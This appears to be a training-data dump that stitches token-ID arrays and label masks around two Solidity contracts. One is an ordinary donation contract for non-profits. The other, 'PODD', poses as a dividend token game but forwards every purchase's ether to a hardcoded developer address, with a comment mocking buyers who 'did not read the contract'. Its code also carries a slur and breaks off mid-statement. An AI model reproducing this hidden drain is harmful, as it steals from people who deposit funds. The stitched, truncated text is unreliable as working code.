[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 943, 3342, 6275, 273, 389, 88, 5269, 380, 6969, 342, 4336, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./EthicOnChainLib.sol"; /// @title EthicOnChain /// @author Lahcen E. Dev / Jérôme Gauthier /// @notice EthicOnChain contract to manage NPOs, Projects and Donors contract EthicOnChain is Ownable { // NPOs mapping (address => EthicOnChainLib.NPO) public npoAddresses; //Mapping of all NPO mapping (uint => address) private npoMap; uint private npoCount; // Donors mapping (address => EthicOnChainLib.Donor) public donorAddresses; //Mapping of all donors mapping (uint => address) private donorMap; uint private donorCount; // Projects mapping (uint => EthicOnChainLib.Project) projectMap; uint projectCount; // Donations mapping (uint => EthicOnChainLib.Donation) private donationMap; uint private donationCount; // Withdrawal Informations mapping (uint => EthicOnChainLib.Withdrawal) private withdrawalMap; uint private withdrawalCount; // EOC Token address address eocTokenAddress; event NpoAdded(uint _poId, address _npoErc20Address, string _denomination); event DonorAdded(uint _donorId, address _donorErc20Address, string _donorName); event ProjectAdded(uint _projectId, string _title, uint _startDate, uint _endDate, uint _minAmount, uint _maxAmount); event DonationAdded(uint _donationId, uint _projectId, uint _donorId, uint _donationDate, uint donationAmount); event TokensWithdrawn(uint _withdrawalId ,uint _projectId, uint _amount, address _addressRecipent); /// @dev Initialise the deployed EOC token address for swap /// @param _eocTokenAddress EOC Token address constructor(address _eocTokenAddress) { eocTokenAddress = _eocTokenAddress; } /// @dev The administrator can add a new NPO /// @param _npoErc20Address the ERC20 address of the npo /// @param _denomination Demonination of the NPO /// @param _postalAddress Postal address of the NPO /// @param _object object of NPO /// @param _npoType Type of npo organization function addNpo( address _npoErc20Address, string memory _denomination, string memory _postalAddress, string memory _object, string memory _npoType) public onlyOwner { // Mandatory fields require(_npoErc20Address > address(0), unicode"L'adresse du NPO doit être différente de zéro"); require(bytes(_denomination).length > 0, unicode"La dénomination est obligatoire"); require(bytes(_postalAddress).length > 0, "L'adresse est obligatoire"); require(bytes(_object).length > 0, "L'objet est obligatoire"); require(bytes(_npoType).length > 0, "Le type est obligatoire"); require(bytes(npoAddresses[_npoErc20Address].denomination).length == 0, unicode"NPO déjà enregistré"); EthicOnChainLib.NPO storage newNpo = npoAddresses[_npoErc20Address]; newNpo.npoId = npoCount; newNpo.npoErc20Address = _npoErc20Address; newNpo.denomination = _denomination; newNpo.postalAddress = _postalAddress; newNpo.object = _object; newNpo.npoType = _npoType; npoMap[npoCount] = _npoErc20Address; npoCount++; emit NpoAdded(newNpo.npoId, _npoErc20Address, _denomination); } /// @dev The administrator/contract can add a new Donor /// @param _donorErc20Address ERC20 address of the donor /// @param _name Name of the Donor /// @param _surName Surname of the Donor /// @param _postalAddress postal address of the donor function addDonor( address _donorErc20Address, string memory _name, string memory _surName, string memory _postalAddress) public onlyOwner { // Mandatory fields require(_donorErc20Address > address(0), unicode"L'adresse du donateur doit être différente de zéro"); require(donorAddresses[_donorErc20Address].donorErc20Address == address(0), unicode"Donor déjà enregistré"); EthicOnChainLib.Donor storage newDonor = donorAddresses[_donorErc20Address]; newDonor.donorId = donorCount; newDonor.name = _name; newDonor.surName = _surName; newDonor.donorErc20Address=_donorErc20Address; newDonor.postalAddress = _postalAddress; donorMap[donorCount] = _donorErc20Address; donorCount++; emit DonorAdded(newDonor.donorId, _donorErc20Address, _name); } /// @dev This function will allow to add a project, the owner will be the one who calls the function. /// @param _title The title of the project /// @param _description description of the project /// @param _geographicalArea the geographical area where the project will be located. /// @param _startDate The start date of the project /// @param _endDate The end of the project /// @param _campaignStartDate the beginning of the collection of funds /// @param _campaignDurationInDays the duration of the collection of funds /// @param _minAmount The minimum price for the project to be valid /// @param _maxAmount The maximum price to make the project a success function addProject( string memory _title, string memory _description, string memory _geographicalArea, uint _startDate, uint _endDate, uint _campaignStartDate, uint _campaignDurationInDays, uint _minAmount, uint _maxAmount ) public { EthicOnChainLib.NPO storage projectNpo = npoAddresses[msg.sender]; require(bytes(projectNpo.denomination).length != 0, "NPO inconnu"); // Mandatory fields require(bytes(_title).length > 0, "Le titre est obligatoire"); require(bytes(_description).length > 0, "La description est obligatoire"); require(_startDate > 0, unicode"Date de début de projet obligatoire"); require(_endDate > 0, "Date de fin de projet obligatoire"); require(_minAmount > 0, "Montant minimal obligatoire"); require(_maxAmount > 0, "Montant maximal obligatoire"); require(_campaignStartDate > 0, unicode"Date de début de campagne obligatoire"); require(_campaignDurationInDays > 0, unicode"Durée de campagne obligatoire"); // Comparisons require(_startDate < _endDate, unicode"La date début de projet doit être avant la fin"); require(_minAmount < _maxAmount, unicode"Le montant minimal doit être inférieur au montant maximal"); EthicOnChainLib.Project storage newProject = projectMap[projectCount]; newProject.projectId = projectCount; newProject.npoErc20Address = msg.sender; newProject.title = _title; // TODO = voir comment gérer le Project Cause en fonction de son enum newProject.description = _description; newProject.geographicalArea = _geographicalArea; newProject.startDate = _startDate; newProject.endDate = _endDate; newProject.campaignStartDate = _campaignStartDate; newProject.campaignDurationInDays = _campaignDurationInDays; newProject.minAmount = _minAmount; newProject.maxAmount = _maxAmount; projectNpo.projectIds.push(projectCount); projectCount++; emit ProjectAdded(newProject.projectId, _title, _startDate, _endDate, _minAmount, _maxAmount); } /// @dev Add a Donation struct in global donationMap /// @param _projectId id of the project for which the donation is done /// @param _donationAmount amount of the donation in EOC tokens function addDonation(uint _projectId, uint _donationAmount) public { EthicOnChainLib.Donor storage donationDonor = donorAddresses[msg.sender]; require(donationDonor.donorErc20Address != address(0), "Donateur inconnu"); // concept de KYC EthicOnChainLib.Project storage donationProject = projectMap[_projectId]; require(bytes(donationProject.title).length != 0, "Projet inconnu"); // donation possible seulement si dans période de campagne uint campaignEndDate = donationProject.campaignStartDate + donationProject.campaignDurationInDays * 1 days; require(block.timestamp > donationProject.campaignStartDate, unicode"La campagne n'est pas commencée"); require(block.timestamp < campaignEndDate, unicode"La campagne est terminée"); EthicOnChainLib.Donation storage newDonation = donationMap[donationCount]; newDonation.donationId = donationCount; newDonation.projectId = _projectId; newDonation.donorId = donationDonor.donorId; newDonation.donationDate = block.timestamp; newDonation.donationAmount = _donationAmount; donationDonor.donationIds.push(donationCount); // mise à jour de l'historique des donations pour le donateur donationProject.projectBalance += _donationAmount; // mise à jour de la balance du projet donationProject.projectTotalDonations += _donationAmount; // et du total des donations donationProject.donationIds.push(donationCount); // mise à jour de l'historique des donations pour le projet donationCount++; // transfert de la donation du donateur vers le contrat // le donateur devra avoir préalablement approuvé (fonction approve du token - un minimum = le montant à transférer) // le contrat à transférer les tokens de l'addresse du donateur vers l'adresse du contrat if(IERC20(eocTokenAddress).transferFrom(msg.sender, address(this), _donationAmount)){ //TODO PLUS TARD creation d'un escrow contract pour ne pas verser tous les tokens dans le même contrat général emit DonationAdded(newDonation.donationId, newDonation.projectId, newDonation.donorId, newDonation.donationDate, newDonation.donationAmount); } } /// @dev Allows an NPO to withdraw funds from a project /// @param _projectId project id /// @param _amount Amount of withdrawal /// @param _title title of the withdrawal /// @param _description description of the withdrawal function withdrawTokens (uint _projectId, uint _amount,string memory _title,string memory _description) public { EthicOnChainLib.NPO storage withdrawalNpo = npoAddresses[msg.sender]; require(bytes(npoAddresses[msg.sender].denomination).length != 0, "NPO inconnu"); require(bytes(projectMap[_projectId].title).length != 0, "Projet inconnu"); require(block.timestamp > projectMap[_projectId].campaignStartDate, unicode"La campagne n'est pas commencée"); uint256 balance = projectMap[_projectId].projectBalance; require(balance >= _amount, "Balance insuffisante"); EthicOnChainLib.Withdrawal storage newWithdrawal = withdrawalMap[withdrawalCount]; newWithdrawal.withdrawalId = withdrawalCount; newWithdrawal.projectId = _projectId; newWithdrawal.title = _title; newWithdrawal.amount = _amount; newWithdrawal.withdrawalDate = block.timestamp; newWithdrawal.description = _description; withdrawalNpo.withdrawalIds.push(withdrawalCount); // mise à jour de l'historique des retraits pour le NPO projectMap[_projectId].projectBalance -= _amount; // mise à jour de la balance du projet projectMap[_projectId].withdrawalIds.push(withdrawalCount); // mise à jour de l'historique des retraits pour le projet withdrawalCount++; if(IERC20(eocTokenAddress).transfer(msg.sender,_amount)){ emit TokensWithdrawn(newWithdrawal.withdrawalId,newWithdrawal.projectId,newWithdrawal.amount,msg.sender); } } /// @dev get an NPO via its erc20 address /// @param _npoErc20Address erc20 address of the NPO /// @return returns the corresponding NPO struct function getNpo(address _npoErc20Address) public view returns(EthicOnChainLib.NPO memory) { return EthicOnChainLib.libGetNpo(npoAddresses, _npoErc20Address); } /// @dev get an NPO via its id /// @param _npoId id of the NPO /// @return returns the corresponding NPO struct function getNpoByIndex(uint _npoId) internal view returns(EthicOnChainLib.NPO memory) { return EthicOnChainLib.libGetNpoByIndex(npoAddresses, npoMap, _npoId); } /// @dev get all NPOs /// @return returns an array of all NPOs function getNpos() public view returns(EthicOnChainLib.NPO [] memory) { return EthicOnChainLib.libGetNpos(npoAddresses, npoMap, npoCount); } /// @dev get a Donor via its erc20 address /// @param _donorErc20Address erc20 address of the Donor /// @return returns the corresponding Donor struct function getDonor(address _donorErc20Address) public view returns(EthicOnChainLib.Donor memory) { return EthicOnChainLib.libGetDonor(donorAddresses, _donorErc20Address); } /// @dev get a Donor via its id /// @param _donorId id of the Donor /// @return returns the corresponding Donor struct function getDonorByIndex(uint _donorId) internal view returns(EthicOnChainLib.Donor memory) { return EthicOnChainLib.libGetDonorByIndex(donorAddresses, donorMap, _donorId); } /// @dev get all Donors /// @return returns an array of all Donors function getDonors() public view returns(EthicOnChainLib.Donor [] memory) { return EthicOnChainLib.libGetDonors(donorAddresses, donorMap, donorCount); } /// @dev Returns a single Project /// @param _projectId project unique id /// @return the Project struct instance corresponding to _projectId function getProject(uint _projectId) public view returns(EthicOnChainLib.Project memory) { return EthicOnChainLib.libGetProject(projectMap, _projectId); } /// @dev get all projects /// @return returns an array of all Project function getProjects() public view returns(EthicOnChainLib.Project [] memory) { return EthicOnChainLib.libGetProjects(projectMap, projectCount); } /// @dev Allows to know all the projects of an NPO /// @param _addressNpo ERC20 address of the NPO /// @return Returns an array of projects function getProjectsPerNpo(address _addressNpo) public view returns(EthicOnChainLib.Project [] memory ) { return EthicOnChainLib.libGetProjectsPerNpo(npoAddresses, projectMap, _addressNpo); } /// @dev get Donation by id /// param _id index pour retrouver la donation a retourner /// @return a struct donation function getDonation(uint _id) public view returns(EthicOnChainLib.Donation memory) { return EthicOnChainLib.libGetDonation(donationMap, _id); } /// @dev Allows to know all the donations of a single donor /// @param _donorAddress id which represents the index /// @return Returns an array of all donation of a single donor function getDonationPerDonor(address _donorAddress) public view returns(EthicOnChainLib.Donation [] memory ) { return EthicOnChainLib.libGetDonationPerDonor(donorAddresses, donationMap, _donorAddress); } /// @dev list all the donations made in the contract, whatever the Donor and the NPO /// @return Returns an array of all donation of a single donor function getDonations() public view returns(EthicOnChainLib.Donation [] memory ) { return EthicOnChainLib.libGetDonations(donationMap, donationCount); } /// @dev get Withdrawal by id /// param _id index pour retrouver le withdrawal a retourner /// @return a struct retait function getWithdrawal(uint _id) public view returns(EthicOnChainLib.Withdrawal memory) { return EthicOnChainLib.libGetWithdrawal(withdrawalMap, _id); } /// @dev Allows to know all the donations of a single donor /// @param _addressNpo id which represents the index /// @return Returns an array of all donation of a single donor function getWithdrawalPerNpo(address _addressNpo) public view returns(EthicOnChainLib.Withdrawal [] memory ) { return EthicOnChainLib.libGetWithdrawalPerNpo(npoAddresses, withdrawalMap, _addressNpo); } }
mise à jour de l'historique des donations pour le projet
donationProject.donationIds.push(donationCount);
1,022,492
[ 1, 81, 784, 225, 132, 259, 525, 477, 443, 328, 11, 11488, 19596, 2832, 2727, 1012, 24601, 884, 10296, 278, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2727, 367, 4109, 18, 19752, 367, 2673, 18, 6206, 12, 19752, 367, 1380, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.20; /* * Proof of Didn't Diff * * This is a clone of PoWM with 100% dividends, except there is absolutely no premine! All dividends are equally distributed to developers. * This is a game! Do not put any ethereum in this contract that you cannot afford to lose! */ contract PODD { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[keccak256(_customerAddress)]); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "PODD"; string public symbol = "PODD"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 5; // Look, strong Math uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; address constant public devexit = 0x893623e39E9482a2Ce529384ED1A51315c105ba6; // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 100e18; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 1 ether; uint256 constant internal ambassadorQuota_ = 20 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(bytes32 => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function POWM() public { // NO administrators here administrators[0x0000000000000000000000000000000000000000000000000000000000000000] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ function disableInitialStage() onlyAdministrator() public { onlyAmbassadors = false; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(bytes32 _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { // Set up the dev exit transfer with all of your ether because you did not read the contract. devexit.transfer(_incomingEthereum); address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = 